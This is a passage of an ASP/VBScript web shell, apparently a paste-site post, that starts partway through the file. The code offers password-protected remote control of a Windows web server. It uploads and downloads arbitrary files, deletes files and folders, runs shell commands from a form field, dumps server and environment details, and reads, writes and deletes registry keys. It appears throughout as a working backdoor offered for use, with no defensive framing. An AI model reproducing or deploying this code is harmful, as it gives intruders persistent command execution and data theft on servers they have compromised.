- MD5 = WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d)
- End Function
- ' Destroys all objects and finishes the work.
- Private Sub StopScript()
- Set sMD5Hash = nothing
- Set WShell = nothing
- Set WNetwork = nothing
- Set WEnv = nothing
- Set FSO = nothing
- Set BinStream = nothing
- Set sURL = nothing
- Set sCmd = nothing
- Set bBgMode = nothing
- Set bSI = nothing
- Set sKey = nothing
- Set sKeyFunc = nothing
- Set sKeyValue = nothing
- Set sKeyType = nothing
- Set sDir = nothing
- Set sDel = nothing
- Set sDL = nothing
- Set sPasswd = nothing
- Response.End
- End Sub
- ' Password protection:
- CheckAuth(sPasswd)
- ' Process multipart form-data:
- If( InStr(1, CStr(Request.ServerVariables("CONTENT_TYPE")), "multipart/form-data;", 1) > 0 ) Then
- If Request.TotalBytes > 0 Then
- UploadFile()
- End If
- End If
- %><%
- '/* --- File Download --- */
- If ( Not IsEmpty(sDL) ) Then
- On Error Resume Next
- ' Change locale to "en-us":
- SetLocale(1033)
- If ( FSO.FileExists(sDL) ) Then
- Response.Buffer = True
- Response.Clear
- Call Response.AddHeader("Content-Disposition", "attachment; filename=""" & FSO.GetFileName(sDL) & """")
- Call Response.AddHeader("Content-Length", FSO.GetFile(sDL).Size)
- 'Response.Charset = "UTF-8"
- Response.ContentType = "application/binary"
- ' Try to create ADODB COM object:
- Err.Clear
- Set BinStream = Server.CreateObject("ADODB.Stream")
- If ( Err.Number = 0 ) Then
- BinStream.Type = 1 : Rem adTypeBinary
- 'BinStream.Charset = "ASCII"
- BinStream.Open()
- BinStream.LoadFromFile(sDL)
- Response.BinaryWrite(BinStream.Read())
- Else
- ' Use FSO (slow & buggy method) instead.
- ' Usually works only with text data:
- Err.Clear
- Set BinStream = FSO.OpenTextFile(sDL, 1, 0)
- While Not BinStream.AtEndOfStream
- Response.BinaryWrite(ChrB( Asc( BinStream.Read(1) ) ) )
- Wend
- BinStream.Close
- End If
- 'Response.Flush
- Set BinStream = nothing
- Else
- Response.Write("File: " & sDL & " doesn't exist.")
- End If
- ' Error handling:
- If ( Err.Number <> 0 ) Then
- Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
- Err.Clear
- End If
- StopScript
- End If
- %><%
- '/* --- HTML Pages Header --- */
- %><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
- <html>
- <head>
- <meta http-equiv="content-type" content="text/html; charset=windows-1252">
- <meta name="robots" content="noindex">
- <meta http-equiv="expires" content="0">
- <meta http-equiv="pragma" content="no-cache">
- <style type="text/css"><!--
- body { font-family: sans-serif; background-color: #ffffff; color: #000000; }
- table { border-collapse: collapse; font-family: arial, sans-serif; white-space: pre; empty-cells: show; }
- td, th { border: 1px solid #909090; font-size: 75%; vertical-align: center; }
- th { background-color: #9999cc; }
- tr { background-color: #ccccff; text-indent: 5pt; }
- tr th { text-indent: 0; }
- tr.drv { text-indent: 0; }
- tr.dir { font-weight: bold; }
- tr.dir:hover { background-color: #eeeeee; }
- tr.file:hover { background-color: #eeeeee; }
- td.dir { cursor: hand; }
- td.file { cursor: hand; }
- input, select { font-family: verdana, arial; font-size: 11px; text-decoration: none; border: 1px solid #000000; }
- input:hover, select:hover, input:focus, select:focus { border-color: #bc0000; }
- input.button { width: 10%; }
- input.button:hover { color: #444444; }
- .link { color: 0033cc; text-decoration: none; font-style: oblique; }
- .link:hover { background-color: #eeeeee; text-decoration: underline; }
- i {color: #666666; }
- hr {width: 100%; align: center; background-color: #cccccc; border: 0px; height: 1px; }
- pre { margin: 0px; font-family: monospace; }
- //--></style>
- <%
- '/* --- Delete item --- */
- If ( Not IsEmpty(sDel) ) Then
- On Error Resume Next
- If ( Right(sDel, 1) = "\" ) Then
- If ( FSO.FolderExists(sDel) ) Then
- FSO.DeleteFolder(Left(sDel, Len(sDel) - 1))
- End If
- Else
- If ( FSO.FileExists(sDel) ) Then
- FSO.DeleteFile(sDel)
- End If
- End If
- ' Error handling:
- If ( Err.Number <> 0 ) Then
- Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
- Err.Clear
- End If
- End If
- '/* --- Directory Listing --- */
- If ( Not IsEmpty(sDir) ) Then
- %>
- <title>[ Directory Listing ]</title>
- <script language="JavaScript" type="text/javascript">
- <!--
- function go(dir_name) {
- <%
- On Error Resume Next
- If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
- if( dir_name == ".." )
- document.path.DIR.value = '<%= Replace(FSO.GetFolder(GetCorrectPath(sDir)).ParentFolder.Path, "\", "\\") %>';
- else
- document.path.DIR.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + dir_name;
- <% Else %>
- document.path.DIR.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + dir_name;
- <% End If %>
- document.path.submit();
- }
- function dl(file_name) {
- <%
- On Error Resume Next
- If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
- document.download.DL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + file_name;
- <% Else %>
- document.download.DL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + file_name;
- <% End If %>
- document.download.submit();
- }
- function del(item_name) {
- <% On Error Resume Next %>
- if( !confirm("Are you sure you want to delete [" + item_name + "] ?"))
- return false;
- <% If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
- document.items.DEL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + item_name;
- <% Else %>
- document.items.DEL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + item_name;
- <% End If %>
- document.items.submit();
- }
- -->
- </script>
- </head>
- <body>
- <%= InsertNavBar() %>
- <%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %>
- <br>
- <%= "User: <i>" & WNetwork.UserName & "</i>" %>
- <br>
- <%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %>
- <br><br>
- <%= ShowDirectoryList(sDir) %>
- <%
- '/* --- Shell --- */
- ElseIf ( Not IsEmpty(sCmd) ) Then
- %>
- <title><%= GetFirstWord(sCmd) %></title>
- </head>
- <body>
- <%= InsertNavBar() %>
- <%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %>
- <br>
- <%= "User: <i>" & WNetwork.UserName & "</i>" %>
- <br>
- <%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %>
- <br><br>
- <b>Shell command:</b>
- <br>
- <form name="shell" action="<%= sURL %>" method="POST">
- <input type="text" name="CMD" size="45" style="width:100%;" value="<%= Server.HTMLEncode(sCmd) %>">
- <br><br>
- <input type="checkbox" name="CMD_M" id="BG" <%If (bBgMode <> "") Then Response.Write("checked") End If%>>
- <label for="BG">Background mode</label>
- <br><br>
- <input type="submit" class="button" value="Execute">
- <input type="button" class="button" value="Clear" onclick="document.shell.CMD.value=''">
- </form>
- <hr>
- <pre>
- <%
- If ( sCmd <> "" ) Then
- Call ExecuteCmd(sCmd, bBgMode)
- Else
- Response.Write("Enter the command.")
- End If
- %>
- </pre>
- <%
- '/* --- Server Info --- */
- ElseIf( Not IsEmpty(bSI) ) Then
- %>
- <title>[ Server Info For: <%= WNetwork.ComputerName %> ]</title>
- </head>
- <body>
- <%= InsertNavBar() %>
- <center>
- <br><br>
- <%= ShowDrivesInfo() %>
- <br><br>
- <table border="1" cellspacing="0" cellpadding="0" width="620">
- <tr align="center"><th colspan="2">Environment</th></tr>
- <tr><td>COMPUTER</td><td><%= WNetwork.ComputerName %></td></tr>
- <tr><td>PATH_INFO</td><td><%= Server.Mappath(Request.ServerVariables("PATH_INFO")) %></td></tr>
- <tr><td>USER</td><td><%= EmptyToNbsp(WNetwork.UserName) %></td></tr>
- <tr><td>DOMAIN</td><td><%= EmptyToNbsp(WNetwork.UserDomain) %></td></tr>
- <tr><td>SERVER_SOFTWARE</td><td><%= Request.ServerVariables("SERVER_SOFTWARE") %></td></tr>
- <tr><td>SERVER_NAME</td><td><%= Request.ServerVariables("SERVER_NAME") %></td></tr>
- <tr><td>LOCAL_ADDR</td><td><%= Request.ServerVariables("LOCAL_ADDR") %></td></tr>
- <tr><td>NUMBER_OF_PROCESSORS</td><td><%= WEnv("NUMBER_OF_PROCESSORS") %></td></tr>
- <tr><td>PROCESSOR_ARCHITECTURE</td><td><%= WEnv("PROCESSOR_ARCHITECTURE") %></td></tr>
- <tr><td>PROCESSOR_IDENTIFIER</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_IDENTIFIER")) %></td></tr>
- <tr><td>PROCESSOR_LEVEL</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_LEVEL")) %></td></tr>
- <tr><td>PROCESSOR_VERSION</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_VERSION")) %></td></tr>
- <tr><td>OS</td><td><%= EmptyToNbsp(WEnv("OS")) %></td></tr>
- <tr><td>COMSPEC</td><td><%= EmptyToNbsp(WEnv("COMSPEC")) %></td></tr>
- <tr><td>HOMEDRIVE</td><td><%= EmptyToNbsp(WEnv("HOMEDRIVE")) %></td></tr>
- <tr><td>HOMEPATH</td><td><%= EmptyToNbsp(WEnv("HOMEPATH")) %></td></tr>
- <tr><td>PATH</td><td><%= Replace(EmptyToNbsp(WEnv("PATH")), ";", "<br> ") %></td></tr>
- <tr><td>PATHEXT</td><td><%= EmptyToNbsp(WEnv("PATHEXT")) %></td></tr>
- <tr><td>PROMPT</td><td><%= EmptyToNbsp(WEnv("PROMPT")) %></td></tr>
- <tr><td>SYSTEMDRIVE</td><td><%= EmptyToNbsp(WEnv("SYSTEMDRIVE")) %></td></tr>
- <tr><td>SYSTEMROOT</td><td><%= EmptyToNbsp(WEnv("SYSTEMROOT")) %></td></tr>
- <tr><td>WINDIR</td><td><%= EmptyToNbsp(WEnv("WINDIR")) %></td></tr>
- <tr><td>TEMP</td><td><%= EmptyToNbsp(WEnv("TEMP")) %></td></tr>
- <tr><td>TMP</td><td><%= EmptyToNbsp(WEnv("TMP")) %></td></tr>
- <tr><td>SCRIPT_ENGINE</td><td><%= ScriptEngine %> (Ver.<%= ScriptEngineMajorVersion %>.<%= ScriptEngineMinorVersion %>.<%= ScriptEngineBuildVersion %>)</td></tr>
- <tr><td>ADODB.STREAM</td><td><%
- ' Try to create ADODB COM object:
- On Error Resume Next
- Err.Clear
- Set BinStream = Server.CreateObject("ADODB.Stream")
- If ( Err.Number = 0 ) Then
- Response.Write("Passed")
- Else
- Response.Write("Limited download / upload functionality")
- End If
- %>
- </td></tr>
- <tr><td>LOCALE</td><td><%= SetLocale(0) %></td></tr>
- </table>
- <br><br>
- </center>
- <%
- '/* --- Registry Editor --- */
- ElseIf ( Not IsEmpty(sKey) ) Then
- %>
- <title>[ Registry Editor ]</title>
- </head>
- <body>
- <%= InsertNavBar() %>
- <%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %>
- <br>
- <%= "User: <i>" & WNetwork.UserName & "</i>" %>
- <br>
- <%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %>
- <br><br>
- <b>Registry key:</b>
- <br>
- <form name="regedit" action="<%= sURL %>" method="POST">
- <input type="text" name="RKEY" size="45" style="width:100%;" value="<%= sKey %>">
- <br><br>
- <b>Value:</b>
- <br>
- <input type="text" name="RKEY_V" size="45" style="width:100%;" value="<%= sKeyValue %>">
- <br><br>
- <b>Type:</b>
- <br>
- <select name="RKEY_T" style="width: 150px" size="1">
- <option value="REG_SZ" <%If ( sKeyType = "REG_SZ" or IsEmpty(sKeyType) ) Then Response.Write("selected") End If%>>REG_SZ</option>
- <option value="REG_DWORD" <%If ( sKeyType = "REG_DWORD" ) Then Response.Write("selected") End If%>>REG_DWORD</option>
- <option value="REG_BINARY" <%If ( sKeyType = "REG_BINARY" ) Then Response.Write("selected") End If%>>REG_BINARY</option>
- <option value="REG_EXPAND_SZ" <%If ( sKeyType = "REG_EXPAND_SZ" ) Then Response.Write("selected") End If%>>REG_EXPAND_SZ</option>
- </select>
- <br><br>
- <b>Function:</b>
- <br>
- <input type="radio" name="RKEY_F" value="Read" <%If ( sKeyFunc = "Read" or IsEmpty(sKeyFunc) ) Then Response.Write("checked") End If%>>
- <label for="RKEY_F">Read</label><br>
- <input type="radio" name="RKEY_F" value="Write" <%If (sKeyFunc = "Write") Then Response.Write("checked") End If%>>
- <label for="RKEY_F">Write</label><br>
- <input type="radio" name="RKEY_F" value="Delete" <%If (sKeyFunc = "Delete") Then Response.Write("checked") End If%>>
- <label for="RKEY_F">Delete</label><br>
- <br>
- <input type="submit" class="button" value="Execute">
- <input type="button" class="button" value="Clear" onclick="document.regedit.RKEY.value='';document.regedit.RKEY_V.value=''">
- </form>
- <hr>
- <pre>
- <%
- If ( sKey <> "" ) Then
- Call RegEditor(sKey, sKeyValue, sKeyType, sKeyFunc)
- Else
- Response.Write("Enter the key.")
- End If
- %>
- </pre>
- <%
- End If
- '/* --- HTML Pages Footer --- */
- %>
- </body>
- </html>
- <%
- StopScript 'asd
- %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement